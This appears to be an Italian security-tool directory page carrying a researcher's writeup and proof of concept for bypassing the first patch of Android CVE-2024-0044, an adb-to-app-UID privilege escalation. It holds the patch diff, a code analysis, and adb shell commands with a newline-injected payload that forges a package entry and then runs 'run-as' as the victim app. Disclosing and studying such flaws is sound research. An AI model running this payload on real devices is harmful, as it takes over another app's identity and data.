Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/canyie/cve-2024-0044
Sicurezza AndroidEscalation di PrivilegiAnalisi delle VulnerabilitàExploitSicurezza MobilePaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHubcanyie/cve-2024-0044

CVE-2024-0044

Proof-of-concept e writeup per aggirare la patch iniziale di CVE-2024-0044, una vulnerabilità del framework Android che consente l'escalation dei privilegi da ADB a UID arbitrario di un'app tramite l'iniezione del nome del pacchetto dell'installer.

1802982 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2024-0044/A-307532206 è una vulnerabilità ad alta gravità nel framework Android che consente a un attaccante con accesso adb di eseguire codice arbitrario con l'UID di un'app arbitraria. È stata scoperta originariamente da Tom Hebb di Meta Red Team X. Puoi trovare molti articoli su Internet che spiegano come sfruttare questa vulnerabilità, come questo e questo. Per maggiori informazioni, consulta questo blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

La patch per questa vulnerabilità è inclusa nel bollettino sulla sicurezza Android di marzo 2024, ma ora ho trovato un exploit che bypassa la patch. La nuova patch è inclusa nel bollettino sulla sicurezza Android di ottobre 2024 con lo stesso CVE ID CVE-2024-0044. I dispositivi Android 12-13 con livello di patch di sicurezza precedente al 2024-10-01 sono vulnerabili a questo problema.

Questo repository contiene un PoC minimo riproducibile e un writeup.

Cosa c'è che non va nella patch originale?

La patch ha aggiunto una validazione per il nome del pacchetto installatore passato al PackageManagerService:

diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

Puoi vedere che params.installerPackageName viene reimpostato a null se non è un nome di pacchetto Android valido. Tuttavia, alla riga successiva, requestedInstallerPackageName può essere installerPackageName quando params.installerPackageName è null o non valido.

Cos'è installerPackageName?

Diamo un'occhiata al metodo createSessionInternal, dove è stata aggiunta la patch:

    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

Puoi vedere che installerPackageName è un argomento separato che non proviene da param. La patch originale validava params.installerPackageName, ma si è dimenticata di validare installerPackageName.

Riproduzione

Puoi semplicemente usare il codice exploit originale dal blog di Tom Hebb per riprodurla. Questo repository contiene anche un PoC minimo riproducibile. Se vuoi testare il mio PoC, compilalo, carica l'apk generato in /data/local/tmp/poc.apk, quindi esegui il seguente codice con adb shell:

APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

sostituisci <victim uid> con l'UID dell'app vittima.

Se vuoi giocare di nuovo, esegui adb uninstall top.canyie.cve_2024_0044 e ripeti il codice qui sopra.

Come è potuto succedere due volte?

Il problema sembra ovvio: come ha fatto a sfuggire a tutti?

Beh, Google ha aggiunto un test per questo problema per assicurarsi che fosse risolto:

            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);
Scarica lo strumento